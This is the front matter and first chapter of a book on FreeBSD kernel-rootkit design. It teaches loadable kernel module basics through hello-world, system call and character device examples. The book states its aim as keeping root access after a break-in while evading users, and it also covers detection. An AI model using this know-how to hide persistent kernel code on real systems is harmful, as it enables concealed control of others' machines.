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F O R E W O R D

I have been working on various parts of the FreeBSD 
kernel for the past six years. During that time, my focus 
has always been on making FreeBSD more robust. This 
often means maintaining the existing stability of the 
system while adding new features or improving stability by fixing bugs and/or 
design flaws in the existing code. Prior to working on FreeBSD, I served as a 
system administrator for a few networks; my focus was on providing the desired 
services to users while protecting the network from any malicious actions. 
Thus, I have always been on the defensive “side” of the game when it comes 
to security.

Joseph Kong provides an intriguing look at the offensive side in Designing 
BSD Rootkits. He enumerates several of the tools used for constructing rootkits, 
explaining the concepts behind each tool and including working examples 
for many of the tools, as well. In addition, he examines some of the ways to 
detect rootkits.

Subverting a running system requires many of the same skills and tech-
niques as building one. For example, both tasks require a focus on stability. A 
rootkit that reduces the stability of the system risks attracting the attention of 
a system administrator if the system crashes. Similarly, a system builder must 
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build a system that minimizes downtime and data loss that can result from 
system crashes. Rootkits must also confront some rather tricky problems, and 
the resulting solutions can be instructive (and sometimes entertaining) to 
system builders.

Finally, Designing BSD Rootkits can also be an eye-opening experience for 
system builders. One can always learn a lot from another’s perspective. I can-
not count the times I have seen a bug solved by a fresh pair of eyes because 
the developer who had been battling the bug was too familiar with the code. 
Similarly, system designers and builders are not always aware of the ways root-
kits may be used to alter the behavior of their systems. Simply learning about 
some of the methods used by rootkits can change how they design and build 
their systems.

I have certainly found this book to be both engaging and informative, 
and I trust that you, the reader, will as well.

John Baldwin
Kernel Developer, FreeBSD
Atlanta



I N T R O D U C T I O N

Welcome to Designing BSD Rootkits! This 
book will introduce you to the fundamentals 

of programming and developing kernel-
mode rootkits under the FreeBSD operating system. 

Through the “learn by example” method, I’ll detail 
the different techniques that a rootkit can employ so 
that you can learn what makes up rootkit code at its simplest level. It should 
be noted that this book does not contain or diagnose any “full-fledged” rootkit 
code. In fact, most of this book concentrates on how to employ a technique, 
rather than what to do with it.

Note that this book has nothing to do with exploit writing or how to gain 
root access to a system; rather, it is about maintaining root access long after a 
successful break-in.



xvi I n troduct ion

What Is a Rootkit?

While there are a few varied definitions of what constitutes a rootkit, for the 
purpose of this book, a rootkit is a set of code that allows someone to control 
certain aspects of the host operating system without revealing his or her 
presence. Fundamentally, that’s what makes a rootkit—evasion of end user 
knowledge.

Put more simply, a rootkit is a “kit” that allows a user to maintain “root” 
access.

Why FreeBSD?

FreeBSD is an advanced, open source operating system; with FreeBSD, you 
have full, uninhibited access to the kernel source, making it easier to learn 
systems programming—which is, essentially, what you’ll be doing through-
out this book.

The Goals of This Book

The primary goal of this book is to expose you to rootkits and rootkit writing. 
By the time you finish this book, you should “theoretically” be able to rewrite 
the entire operating system, on the fly. You should also understand the theory 
and practicality behind rootkit detection and removal.

The secondary goal of this book is to provide you with a practical, hands-
on look at parts of the FreeBSD kernel, with the extended goal of inspiring 
you to explore and hack the rest of it on your own. After all, getting your 
hands dirty is always the best way to learn.

Who Should Read This Book?

This book is aimed at programmers with an interest in introductory kernel 
hacking. As such, experience writing kernel code is not required or expected.

To get the most out of this book, you should have a good grasp of the 
C programming language (i.e., you understand pointers) as well as x86 
Assembly (AT&T Syntax). You’ll also need to have a decent understanding 
of operating system theory (i.e., you know the difference between a process 
and a thread).

Contents Overview

This book is (unofficially) divided into three sections. The first section 
(Chapter 1) is essentially a whirlwind tour of kernel hacking, designed to 
bring a novice up to speed. The next section (Chapters 2 through 6) covers 
the gamut of current, popular rootkit techniques (i.e., what you would find 
in “the wild”); while the last section (Chapter 7) focuses on rootkit detection 
and removal.
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Conventions Used in This Book

Throughout this book, I have used a boldface font in code listings to indicate 
commands or other text that I have typed in, unless otherwise specifically 
noted.

Concluding Remarks

Although this book concentrates on the FreeBSD operating system, most 
(if not all) of the concepts can be applied to other OSes, such as Linux or 
Windows. In fact, I learned half of the techniques in this book on those very 
systems.

NOTE All of the code examples in this book were tested on an IA-32–based computer 
running FreeBSD 6.0-STABLE.
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L O A D A B L E  K E R N E L  M O D U L E S

The simplest way to introduce code into a 
running kernel is through a loadable kernel 

module (LKM), which is a kernel subsystem 
that can be loaded and unloaded after bootup, 

allowing a system administrator to dynamically add and 
remove functionality from a live system. This makes 
LKMs an ideal platform for kernel-mode rootkits. 
In fact, the vast majority of modern rootkits are 
simply LKMs.

NOTE In FreeBSD 3.0, substantial changes were made to the kernel module subsystem, 
and the LKM Facility was renamed the Dynamic Kernel Linker (KLD) Facility. 
Subsequently, the term KLD is commonly used to describe LKMs under FreeBSD.

In this chapter we’ll discuss LKM (that is, KLD) programming within 
FreeBSD for programmers new to kernel hacking.
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NOTE Throughout this book, the terms device driver, KLD, LKM, loadable module, and 
module are all used interchangeably.

1.1 Module Event Handler

Whenever a KLD is loaded into or unloaded from the kernel, a function 
known as the module event handler is called. This function handles the 
initialization and shutdown routines for the KLD. Every KLD must include 
an event handler.1 The prototype for the event handler function is defined 
in the <sys/module.h> header as follows:

typedef int (*modeventhand_t)(module_t, int /* modeventtype_t */, void *);

where module_t is a pointer to a module structure and modeventtype_t is defined 
in the <sys/module.h> header as follows:

typedef enum modeventtype {
        MOD_LOAD,       /* Set when module is loaded. */
        MOD_UNLOAD,     /* Set when module is unloaded. */
        MOD_SHUTDOWN,   /* Set on shutdown. */
        MOD_QUIESCE     /* Set on quiesce. */
} modeventtype_t;

Here is an example of an event handler function:

static int
load(struct module *module, int cmd, void *arg)
{
        int error = 0;

        switch (cmd) {
        case MOD_LOAD:
                uprintf("Hello, world!\n");
                break;

        case MOD_UNLOAD:
                uprintf("Good-bye, cruel world!\n");
                break;

        default:
                error = EOPNOTSUPP;
                break;
        }

        return(error);
}

1  Actually, this isn’t entirely true. You can have a KLD that just includes a sysctl. You can also dis-
pense with module handlers if you wish and just use SYSINIT and SYSUNINIT directly to register func-
tions to be invoked on load and unload, respectively. You can’t, however, indicate failure in those. 
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This function will print “Hello, world!” when the module loads, “Good-
bye, cruel world!” when it unloads, and will return with an error (EOPNOTSUPP)2 
on shutdown and quiesce.

1.2 The DECLARE_MODULE Macro

When a KLD is loaded (by the kldload(8) command, described in Section 1.3), 
it must link and register itself with the kernel. This can be easily accomplished 
by calling the DECLARE_MODULE macro, which is defined in the <sys/module.h> 
header as follows:

#define DECLARE_MODULE(name, data, sub, order)                          \
        MODULE_METADATA(_md_##name, MDT_MODULE, &data, #name);          \
        SYSINIT(name##module, sub, order, module_register_init, &data)  \
        struct __hack

Here is a brief description of each parameter:

name
This specifies the generic module name, which is passed as a character 
string.

data
This parameter specifies the official module name and event handler 
function, which is passed as a moduledata structure. struct moduledata is 
defined in the <sys/module.h> header as follows:

typedef struct moduledata {
        const char      *name;          /* module name */
        modeventhand_t  evhand;         /* event handler */
        void            *priv;          /* extra data */
} moduledata_t;

sub
This specifies the system startup interface, which identifies the module 
type. Valid entries for this parameter can be found in the <sys/kernel.h> 
header within the sysinit_sub_id enumeration list.

For our purposes, we’ll always set this parameter to SI_SUB_DRIVERS, 
which is used when registering a device driver.

order
This specifies the KLD’s order of initialization within the subsystem. 
You’ll find valid entries for this parameter in the <sys/kernel.h> header 
within the sysinit_elem_order enumeration list.

For our purposes, we’ll always set this parameter to SI_ORDER_MIDDLE, 
which will initialize the KLD somewhere in the middle.

2  EOPNOTSUPP stands for Error: Operation not supported.
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1.3 “Hello, world!”

You now know enough to write your first KLD. Listing 1-1 is a complete 
“Hello, world!” module.

#include <sys/param.h>
#include <sys/module.h>
#include <sys/kernel.h>
#include <sys/systm.h>

/* The function called at load/unload. */
static int
load(struct module *module, int cmd, void *arg)
{
        int error = 0;

        switch (cmd) {
        case MOD_LOAD:
                uprintf("Hello, world!\n");
                break;

        case MOD_UNLOAD:
                uprintf("Good-bye, cruel world!\n");
                break;

        default:
                error = EOPNOTSUPP;
                break;
        }

        return(error);
}

/* The second argument of DECLARE_MODULE. */
static moduledata_t hello_mod = {
        "hello",        /* module name */
        load,           /* event handler */
        NULL            /* extra data */
};

DECLARE_MODULE(hello, hello_mod, SI_SUB_DRIVERS, SI_ORDER_MIDDLE);

Listing 1-1: hello.c

As you can see, this module is simply a combination of the sample event 
handler function from Section 1.1 and a filled-out DECLARE_MODULE macro.

To compile this module, you can use the system Makefile3 bsd.kmod.mk. 
Listing 1-2 shows the complete Makefile for hello.c.

3  A Makefile is used to simplify the process of converting a file or files from one form to another 
by describing the dependencies and build scripts for a given output. For more on Makefiles, see 
the make(1) manual page.
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KMOD=   hello           # Name of KLD to build.
SRCS=   hello.c         # List of source files.

.include <bsd.kmod.mk>

Listing 1-2: Makefile

NOTE Throughout this book, we’ll adapt this Makefile to compile every KLD by filling out 
KMOD and SRCS with the appropriate module name and source listing(s), respectively.

Now, assuming the Makefile and hello.c are in the same directory, simply 
type make and (if we haven’t botched anything) the compilation should 
proceed—very verbosely—and produce an executable file named hello.ko, 
as shown here:

$ make
Warning: Object directory not changed from original /usr/home/ghost/hello    
@ -> /usr/src/sys                                                            
machine -> /usr/src/sys/i386/include                                         
cc -O2 -pipe -funroll-loops -march=athlon-mp -fno-strict-aliasing -Werror -D_
KERNEL -DKLD_MODULE -nostdinc -I-   -I. -I@ -I@/contrib/altq -I@/../include -
I/usr/include -finline-limit=8000 -fno-common  -mno-align-long-strings -mpref
erred-stack-boundary=2  -mno-mmx -mno-3dnow -mno-sse -mno-sse2 -ffreestanding
 -Wall -Wredundant-decls -Wnested-externs -Wstrict-prototypes  -Wmissing-prot
otypes -Wpointer-arith -Winline -Wcast-qual  -fformat-extensions -std=c99 -c 
hello.c                                                                      
ld  -d -warn-common -r -d -o hello.kld hello.o                               
touch export_syms                                                            
awk -f /sys/conf/kmod_syms.awk hello.kld  export_syms | xargs -J% objcopy % h
ello.kld                                                                     
ld -Bshareable  -d -warn-common -o hello.ko hello.kld                        
objcopy --strip-debug hello.ko                                               
$ ls –F
@@           export_syms  hello.kld    hello.o 
Makefile     hello.c      hello.ko*    machine@

You can load and unload hello.ko with the kldload(8) and kldunload(8) 
utilities,4 as shown below:

$ sudo kldload ./hello.ko
Hello, world!
$ sudo kldunload hello.ko
Good-bye, cruel world!

Excellent—you have successfully loaded and unloaded code into a 
running kernel. Now, let’s try something a little more advanced.

4  With a Makefile that includes <bsd.kmod.mk>, you can also use make load and make unload to load 
and unload the module once you have built it.
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1.4 System Call Modules

System call modules are simply KLDs that install a system call. In operating 
systems, a system call, also known as a system service request, is the mechanism 
an application uses to request service from the operating system’s kernel.

NOTE In Chapters 2, 3, and 6, you’ll be writing rootkits that either hack the existing system 
calls or install new ones. Thus, this section serves as a primer.

There are three items that are unique to each system call module: the 
system call function, the sysent structure, and the offset value.

1.4.1 The System Call Function

The system call function implements the system call. Its function prototype is 
defined in the <sys/sysent.h> header as:

typedef int     sy_call_t(struct thread *, void *);

where struct thread * points to the currently running thread, and void * 
points to the system call’s arguments’ structure, if there is any.

Here is an example system call function that takes in a character pointer 
(i.e., a string) and outputs it to the system console and logging facility via 
printf(9).

�struct sc_example_args {
        char *str;
};

static int
sc_example(struct thread *td, void *syscall_args)
{
        �struct sc_example_args *uap;
        �uap = (struct sc_example_args *)syscall_args;

        printf("%s\n", uap->str);

        return(0);
}

Notice that the system call’s arguments are � declared within a structure 
(sc_example_args). Also, notice that these arguments are accessed within the 
system call function by � first declaring a struct sc_example_args pointer (uap) 
and then assigning � the coerced void pointer (syscall_args) to that pointer.

Keep in mind that the system call’s arguments reside in user space but that 
the system call function executes in kernel space.5 Thus, when you access the 

5  FreeBSD segregates its virtual memory into two parts: user space and kernel space. User space 
is where all user-mode applications run, while kernel space is where the kernel and kernel exten-
sions (i.e., LKMs) run. Code running in user space cannot access kernel space directly (but 
code running in kernel space can access user space). To access kernel space from user space, 
an application issues a system call.



Loadab le Ke rnel  Modu les 7

arguments via uap, you are actually working by value, not reference. This means 
that, with this approach, you aren’t able to modify the actual arguments.

NOTE In Section 1.5, I’ll detail how to modify data residing in user space while in 
kernel space.

It is probably worth mentioning that the kernel expects each system call 
argument to be of size register_t (which is an int on i386, but is typically a 
long on other platforms) and that it builds an array of register_t values that 
are then cast to void * and passed as the arguments. For this reason, you 
might need to include explicit padding in your arguments’ structure to make 
it work correctly if it has any types that aren’t of size register_t (e.g., char, or 
int on a 64-bit platform). The <sys/sysproto.h> header provides some macros 
to do this, along with examples.

1.4.2 The sysent Structure

System calls are defined by their entries in a sysent structure, which is defined 
in the <sys/sysent.h> header as follows:

struct sysent {
        int sy_narg;            /* number of arguments */
        sy_call_t *sy_call;     /* implementing function */
        au_event_t sy_auevent;  /* audit event associated with system call */
};

Here is the complete sysent structure for the example system call (shown 
in Section 1.4.1):

static struct sysent sc_example_sysent = {
        1,                      /* number of arguments */
        sc_example              /* implementing function */
};

Recall that the example system call has only one argument (a character 
pointer) and is named sc_example.

One additional point is also worth mentioning. In FreeBSD, the 
system call table is simply an array of sysent structures, and it is declared 
in the <sys/sysent.h> header as follows:

extern struct sysent sysent[];

Whenever a system call is installed, its sysent structure is placed within an 
open element in sysent[]. (This is an important point that will come into play 
in Chapters 2 and 6.)

NOTE Throughout this book, I’ll refer to FreeBSD’s system call table as sysent[].
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1.4.3 The Offset Value

The offset value (also known as the system call number) is a unique integer 
between 0 and 456 that is assigned to each system call to indicate its sysent 
structure’s offset within sysent[].

Within a system call module, the offset value needs to be explicitly 
declared. This is typically done as follows:

static int offset = NO_SYSCALL;

The constant NO_SYSCALL sets offset to the next available or open element 
in sysent[].

Although you could manually set offset to any unused system call number, 
it’s considered good practice to avoid doing so when implementing some-
thing dynamic, like a KLD.

NOTE For a list of used and unused system call numbers, see the file /sys/kern/syscalls.master.

1.4.4 The SYSCALL_MODULE Macro

Recall from Section 1.2 that when a KLD is loaded, it must link and register 
itself with the kernel and that you use the DECLARE_MODULE macro to do so. 
However, when writing a system call module, the DECLARE_MODULE macro is 
somewhat inconvenient, as you’ll soon see. Thus, we use the SYSCALL_MODULE 
macro instead, which is defined in the <sys/sysent.h> header as follows:

#define SYSCALL_MODULE(name, offset, new_sysent, evh, arg)     \
static struct syscall_module_data name##_syscall_mod = {       \
       evh, arg, offset, new_sysent, { 0, NULL }               \
};                                                             \
                                                               \
static moduledata_t name##_mod = {                             \
       #name,                                                  \
       syscall_module_handler,                                 \
       &name##_syscall_mod                                     \
};                                                             \
DECLARE_MODULE(name, name##_mod, SI_SUB_DRIVERS, SI_ORDER_MIDDLE)

As you can see, if we were to use the DECLARE_MODULE macro, we would’ve 
had to set up a syscall_module_data and moduledata structure first; thankfully, 
SYSCALL_MODULE saves us this trouble.

The following is a brief description of each parameter in SYSCALL_MODULE:

name
This specifies the generic module name, which is passed as a character 
string.

offset
This specifies the system call’s offset value, which is passed as an integer 
pointer.
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new_sysent
This specifies the completed sysent structure, which is passed as a struct 
sysent pointer.

evh
This specifies the event handler function.

arg
This specifies the arguments to be passed to the event handler function. 
For our purposes, we’ll always set this parameter to NULL.

1.4.5 Example
Listing 1-3 is a complete system call module.

#include <sys/types.h>
#include <sys/param.h>
#include <sys/proc.h>
#include <sys/module.h>
#include <sys/sysent.h>
#include <sys/kernel.h>
#include <sys/systm.h>

/* The system call's arguments. */
struct sc_example_args {
        char *str;
};

/* The system call function. */
static int
sc_example(struct thread *td, void *syscall_args)
{
        struct sc_example_args *uap;
        uap = (struct sc_example_args *)syscall_args;

        printf("%s\n", uap->str);

        return(0);
}

/* The sysent for the new system call. */
static struct sysent sc_example_sysent = {
        1,                      /* number of arguments */
        sc_example              /* implementing function */
};

/* The offset in sysent[] where the system call is to be allocated. */
static int offset = NO_SYSCALL;

/* The function called at load/unload. */
static int
load(struct module *module, int cmd, void *arg)
{
        int error = 0;
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        switch (cmd) {
        case MOD_LOAD:
                uprintf("System call loaded at offset %d.\n", offset);
                break;

        case MOD_UNLOAD:
                uprintf("System call unloaded from offset %d.\n", offset);
                break;

        default:
                error = EOPNOTSUPP;
                break;
        }

        return(error);
}

SYSCALL_MODULE(sc_example, &offset, &sc_example_sysent, load, NULL);

Listing 1-3: sc_example.c

As you can see, this module is simply a combination of all the components 
described throughout this section, with the addition of an event handler 
function. Simple, no?

Here are the results of loading this module:

$ sudo kldload ./sc_example.ko
System call loaded at offset 210.

So far, so good. Now, let’s write a simple user space program to execute and 
test this new system call. But first, an explanation of the modfind, modstat, and 
syscall functions is required.

1.4.6 The modfind Function

The modfind function returns the modid of a kernel module based on its 
module name.

#include <sys/param.h>
#include <sys/module.h>

int
modfind(const char *modname);

Modids are integers used to uniquely identify each loaded module in 
the system.

1.4.7 The modstat Function

The modstat function returns the status of a kernel module referred to by 
its modid.
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#include <sys/param.h>
#include <sys/module.h>

int
modstat(int modid, struct module_stat *stat);

The returned information is stored in stat, a module_stat structure, which 
is defined in the <sys/module.h> header as follows:

struct module_stat {
        int             version;
        char            name[MAXMODNAME];       /* module name */
        int             refs;                   /* number of references */
        int             id;                     /* module id number */
        modspecific_t   data;                   /* module specific data */
};
typedef union modspecific {
        int             intval;                 /* offset value */
        u_int           uintval;
        long            longval;
        u_long          ulongval;
} modspecific_t;

1.4.8 The syscall Function
The syscall function executes the system call specified by its system call 
number.

#include <sys/syscall.h>
#include <unistd.h>

int
syscall(int number, ...);

1.4.9 Executing the System Call

Listing 1-4 is a user space program designed to execute the system call in List-
ing 1-3 (which is named sc_example). This program takes one command-line 
argument: a string to be passed to sc_example.

#include <stdio.h>
#include <sys/syscall.h>
#include <sys/types.h>
#include <sys/module.h>

int
main(int argc, char *argv[])
{
        int syscall_num;
        struct module_stat stat;
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        if (argc != 2) {
                printf("Usage:\n%s <string>\n", argv[0]);
                exit(0);
        }

        /* Determine sc_example's offset value. */
        stat.version = sizeof(stat);
        �modstat(modfind("sc_example"), &stat);
        syscall_num = stat.data.intval;

        /* Call sc_example. */
        return(�syscall(syscall_num, argv[1]));
}

Listing 1-4: interface.c

As you can see, we first call � modfind and modstat to determine 
sc_example’s offset value. This value is then passed to � syscall, along with 
the first command-line argument, which effectively executes sc_example.

Some sample output follows:

$ ./interface Hello,\ kernel!
$ dmesg | tail -n 1
Hello, kernel!

1.4.10 Executing the System Call Without C Code

While writing a user space program to execute a system call is the “proper” 
way to do it, when you just want to test a system call module, it’s annoying to 
have to write an additional program first. To execute a system call without 
writing a user space program, here’s what I do:

$ sudo kldload ./sc_example.ko
System call loaded at offset 210.
$ perl -e '$str = "Hello, kernel!";' -e 'syscall(210, $str);'
$ dmesg | tail -n 1
Hello, kernel!

As the preceding demonstration shows, by taking advantage of Perl’s 
command-line execution (i.e., the -e option), its syscall function, and the 
fact that you know your system call’s offset value, you can quickly test any 
system call module. One thing to keep in mind is that you cannot use string 
literals with Perl’s syscall function, which is why I use a variable ($str) to 
pass the string to sc_example.

1.5 Kernel/User Space Transitions

I’ll now describe a set of core functions that you can use from kernel space 
to copy, manipulate, and overwrite the data stored in user space. We’ll put 
these functions to much use throughout this book.
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1.5.1 The copyin and copyinstr Functions

The copyin and copyinstr functions allow you to copy a continuous region of 
data from user space to kernel space.

#include <sys/types.h>
#include <sys/systm.h>

int
copyin(const void *uaddr, void *kaddr, size_t len);

int
copyinstr(const void *uaddr, void *kaddr, size_t len, size_t *done);

The copyin function copies len bytes of data from the user space address 
uaddr to the kernel space address kaddr. 

The copyinstr function is similar, except that it copies a null-terminated 
string, which is at most len bytes long, with the number of bytes actually 
copied returned in done.6

1.5.2 The copyout Function

The copyout function is similar to copyin, except that it operates in the opposite 
direction, copying data from kernel space to user space.

#include <sys/types.h>
#include <sys/systm.h>

int
copyout(const void *kaddr, void *uaddr, size_t len);

1.5.3 The copystr Function

The copystr function is similar to copyinstr, except that it copies a string from 
one kernel space address to another.

#include <sys/types.h>
#include <sys/systm.h>

int
copystr(const void *kfaddr, void *kdaddr, size_t len, size_t *done);

6  In Listing 1-3, the system call function should, admittedly, first call copyinstr to copy in the 
user space string and then print that. As is, it prints a userland string directly from kernel space, 
which can trigger a fatal panic if the page holding the string is unmapped (i.e., swapped out or 
not faulted in yet). That’s why it’s just an example and not a real system call.
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1.6 Character Device Modules

Character device modules are KLDs that create or install a character device. 
In FreeBSD, a character device is the interface for accessing a specific device 
within the kernel. For example, data is read from and written to the system 
console via the character device /dev/console.

NOTE In Chapter 4 you’ll be writing rootkits that hack the existing character devices on the 
system. Thus, this section serves as a primer.

There are three items that are unique to each character device module: 
a cdevsw structure, the character device functions, and a device registration 
routine. We’ll discuss each in turn below.

1.6.1 The cdevsw Structure

A character device is defined by its entries in a character device switch table, 
struct cdevsw, which is defined in the <sys/conf.h> header as follows:

struct cdevsw {
        int                     d_version;
        u_int                   d_flags;
        const char              *d_name;
        d_open_t                *d_open;
        d_fdopen_t              *d_fdopen;
        d_close_t               *d_close;
        d_read_t                *d_read;
        d_write_t               *d_write;
        d_ioctl_t               *d_ioctl;
        d_poll_t                *d_poll;
        d_mmap_t                *d_mmap;
        d_strategy_t            *d_strategy;
        dumper_t                *d_dump;
        d_kqfilter_t            *d_kqfilter;
        d_purge_t               *d_purge;
        d_spare2_t              *d_spare2;
        uid_t                   d_uid;
        gid_t                   d_gid;
        mode_t                  d_mode;
        const char              *d_kind;

        /* These fields should not be messed with by drivers */
        LIST_ENTRY(cdevsw)      d_list;
        LIST_HEAD(, cdev)       d_devs;
        int                     d_spare3;
        struct cdevsw           *d_gianttrick;
};
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Table 1-1 provides a brief description of the most relevant entry points.

Here is an example cdevsw structure for a simple read/write character 
device module:

static struct cdevsw cd_example_cdevsw = {
        .d_version =    D_VERSION,
        .d_open =       open,
        .d_close =      close,
        .d_read =       read,
        .d_write =      write,
        .d_name =       "cd_example"
};

Notice that I do not define every entry point or fill out every attribute. 
This is perfectly okay. For every entry point left null, the operation is con-
sidered unsupported. For example, when creating a write-only device, you 
would not declare the read entry point.

Still, there are two elements that must be defined in every cdevsw structure: 
d_version, which indicates the versions of FreeBSD that the driver supports, 
and d_name, which specifies the device’s name.

NOTE The constant D_VERSION is defined in the <sys/conf.h> header, along with other version 
numbers.

1.6.2 Character Device Functions

For every entry point defined in a character device module’s cdevsw structure, 
you must implement a corresponding function. The function prototype for 
each entry point is defined in the <sys/conf.h> header.

Below is an example implementation for the write entry point.

/* Function prototype. */
d_write_t       write;

int
write(struct cdev *dev, struct uio *uio, int ioflag)
{
        int error = 0;

Table 1-1: Entry Points for Character Device Drivers

Entry Point Description

d_open Opens a device for I/O operations

d_close Closes a device

d_read Reads data from a device

d_write Writes data to a device

d_ioctl Performs an operation other than a read or a write

d_poll Polls a device to see if there is data to be read or space available for writing
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        error = copyinstr(uio->uio_iov->iov_base, &buf, 512, &len);
        if (error != 0)
                uprintf("Write to \"cd_example\" failed.\n");

        return(error);
}

As you can see, this function simply calls copyinstr to copy a string from 
user space and store it in a buffer, buf, in kernel space.

NOTE In Section 1.6.4 I’ll show and explain some more entry-point implementations.

1.6.3 The Device Registration Routine

The device registration routine creates or installs the character device on /dev 
and registers it with the device file system (DEVFS). You can accomplish this 
by calling the make_dev function within the event handler function as follows:

static struct cdev *sdev;

/* The function called at load/unload. */
static int
load(struct module *module, int cmd, void *arg)
{
        int error = 0;

        switch (cmd) {
        case MOD_LOAD:
                sdev = make_dev(&cd_example_cdevsw, 0, UID_ROOT, GID_WHEEL,
                    0600, "cd_example");
                uprintf("Character device loaded\n");
                break;

        case MOD_UNLOAD:
                destroy_dev(sdev);
                uprintf("Character device unloaded\n");
                break;

        default:
                error = EOPNOTSUPP;
                break;
        }

        return(error);
}

This example function will register the character device, cd_example, when 
the module loads by calling the make_dev function, which will create a cd_example 
device node on /dev. Also, this function will unregister the character device 
when the module unloads by calling the destroy_dev function, which takes as 
its sole argument the cdev structure returned from a preceding make_dev call.
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1.6.4 Example

Listing 1-5 shows a complete character device module (based on Rajesh 
Vaidheeswarran’s cdev.c) that installs a simple read/write character device. 
This device acts on an area of kernel memory, reading and writing a single 
character string from and to it.

#include <sys/param.h>
#include <sys/proc.h>
#include <sys/module.h>
#include <sys/kernel.h>
#include <sys/systm.h>
#include <sys/conf.h>
#include <sys/uio.h>

/* Function prototypes. */
d_open_t        open;
d_close_t       close;
d_read_t        read;
d_write_t       write;

static struct cdevsw cd_example_cdevsw = {
        .d_version =    D_VERSION,
        .d_open =       open,
        .d_close =      close,
        .d_read =       read,
        .d_write =      write,
        .d_name =       "cd_example"
};

static char buf[512+1];
static size_t len;

int
open(struct cdev *dev, int flag, int otyp, struct thread *td)
{
        /* Initialize character buffer. */
        memset(&buf, '\0', 513);
        len = 0;

        return(0);
}

int
close(struct cdev *dev, int flag, int otyp, struct thread *td)
{
        return(0);
}

int
write(struct cdev *dev, struct uio *uio, int ioflag)
{
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        int error = 0;

        /* 
         * Take in a character string, saving it in buf.
         * Note: The proper way to transfer data between buffers and I/O
         * vectors that cross the user/kernel space boundary is with
         * uiomove(), but this way is shorter. For more on device driver I/O
         * routines, see the uio(9) manual page.
         */
        error = copyinstr(uio->uio_iov->iov_base, &buf, 512, &len);
        if (error != 0)
                uprintf("Write to \"cd_example\" failed.\n");

        return(error);
}

int
read(struct cdev *dev, struct uio *uio, int ioflag)
{
        int error = 0;

        if (len <= 0)
                error = -1;
        else
                /* Return the saved character string to userland. */
                copystr(&buf, uio->uio_iov->iov_base, 513, &len);

        return(error);
}

/* Reference to the device in DEVFS. */
static struct cdev *sdev;

/* The function called at load/unload. */
static int
load(struct module *module, int cmd, void *arg)
{
        int error = 0;

        switch (cmd) {
        case MOD_LOAD:
                sdev = make_dev(&cd_example_cdevsw, 0, UID_ROOT, GID_WHEEL,
                    0600, "cd_example");
                uprintf("Character device loaded.\n");
                break;

        case MOD_UNLOAD:
                destroy_dev(sdev);
                uprintf("Character device unloaded.\n");
                break;

        default:
                error = EOPNOTSUPP;
                break;
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        }

        return(error);
}

DEV_MODULE(cd_example, load, NULL);

Listing 1-5: cd_example.c

The following is a breakdown of the above listing. First, at the beginning, 
we declare the character device’s entry points (open, close, read, and write). 
Next, we appropriately fill out a cdevsw structure. Afterward, we declare two 
global variables: buf, which is used to store the character string that this 
device will be reading in, and len, which is used to store the string length. 
Next, we implement each entry point. The open entry point simply initializes 
buf and then returns. The close entry point does nothing, more or less, but it 
still needs to be implemented in order to close the device. The write entry 
point is what is called to store the character string (from user space) in buf, 
and the read entry point is what is called to return it. Lastly, the event 
handler function takes care of the character device’s registration routine.

Notice that the character device module calls DEV_MODULE at the end, 
instead of DECLARE_MODULE. The DEV_MODULE macro is defined in the <sys/conf.h> 
header as follows:

#define DEV_MODULE(name, evh, arg)                                      \
static moduledata_t name##_mod = {                                      \
    #name,                                                              \
    evh,                                                                \
    arg                                                                 \
};                                                                      \
DECLARE_MODULE(name, name##_mod, SI_SUB_DRIVERS, SI_ORDER_MIDDLE)

As you can see, DEV_MODULE wraps DECLARE_MODULE. DEV_MODULE simply allows 
you to call DECLARE_MODULE without having to explicitly set up a moduledata 
structure first.

NOTE The DEV_MODULE macro is typically associated with character device modules. Thus, when I 
write a generic KLD (such as the “Hello, world!” example in Section 1.3), I’ll continue to 
use the DECLARE_MODULE macro, even if DEV_MODULE would save space and time.

1.6.5 Testing the Character Device

Now let’s look at the user space program (Listing 1-6) that we’ll use to interact 
with the cd_example character device. This program (based on Rajesh Vaidhees-
warran’s testcdev.c) calls each cd_example entry point in the following order: 
open, write, read, close; then it exits.

#include <stdio.h>
#include <fcntl.h>
#include <paths.h>
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#include <string.h>
#include <sys/types.h>

#define CDEV_DEVICE     "cd_example"
static char buf[512+1];

int
main(int argc, char *argv[])
{
        int kernel_fd;
        int len;

        if (argc != 2) {
                printf("Usage:\n%s <string>\n", argv[0]);
                exit(0);
        }

        /* Open cd_example. */
        if ((kernel_fd = open("/dev/" CDEV_DEVICE, O_RDWR)) == -1) {
                perror("/dev/" CDEV_DEVICE);
                exit(1);
        }

        if ((len = strlen(argv[1]) + 1) > 512) {
                printf("ERROR: String too long\n");
                exit(0);
        }

        /* Write to cd_example. */
        if (write(kernel_fd, argv[1], len) == -1)
                perror("write()");
        else
                printf("Wrote \"%s\" to device /dev/" CDEV_DEVICE ".\n",
                    argv[1]);

        /* Read from cd_example. */
        if (read(kernel_fd, buf, len) == -1)
                perror("read()");
        else
                printf("Read \"%s\" from device /dev/" CDEV_DEVICE ".\n",
                    buf);

        /* Close cd_example. */
        if ((close(kernel_fd)) == -1) {
                perror("close()");
                exit(1);
        }

        exit(0);
}

Listing 1-6: interface.c
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Here are the results of loading the character device module and 
interacting with it:

$ sudo kldload ./cd_example.ko
Character device loaded.
$ ls -l /dev/cd_example
crw-------  1 root  wheel    0,  89 Mar 26 00:32 /dev/cd_example
$ ./interface
Usage:
./interface <string>
$ sudo ./interface Hello,\ kernel!
Wrote "Hello, kernel!" to device /dev/cd_example.
Read "Hello, kernel!" from device /dev/cd_example.

1.7 Linker Files and Modules

Before wrapping up this chapter, let’s take a brief look at the kldstat(8) 
command, which displays the status of any files dynamically linked into the 
kernel.

$ kldstat
Id Refs Address    Size     Name
 1    4 0xc0400000 63070c   kernel
 2   16 0xc0a31000 568dc    acpi.ko
 3    1 0xc1e8b000 2000     hello.ko

In the above listing, three “modules” are loaded: the kernel (kernel), the 
ACPI power-management module (acpi.ko), and the “Hello, world!” module 
(hello.ko) that we developed in Section 1.3.

Running the command kldstat -v (for more verbose output) gives us the 
following:

$ kldstat –v
Id Refs Address    Size     Name
 1    4 0xc0400000 63070c   kernel
        Contains modules:
                Id Name
                18 xpt
                19 probe
                20 cam
. . .
 3    1 0xc1e8b000 2000     hello.ko
        Contains modules:
                Id Name
                367 hello
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Note that kernel contains multiple “submodules” (xpt, probe, and cam). 
This brings us to the real point of this section. In the preceding output, 
kernel and hello.ko are technically linker files, and xpt, probe, cam, and hello 
are the actual modules. This means that the arguments(s) for kldload(8) and 
kldunload(8) are actually linker files, not modules, and that for every module 
loaded into the kernel, there is an accompanying linker file. (This point will 
come into play when we discuss hiding KLDs.)

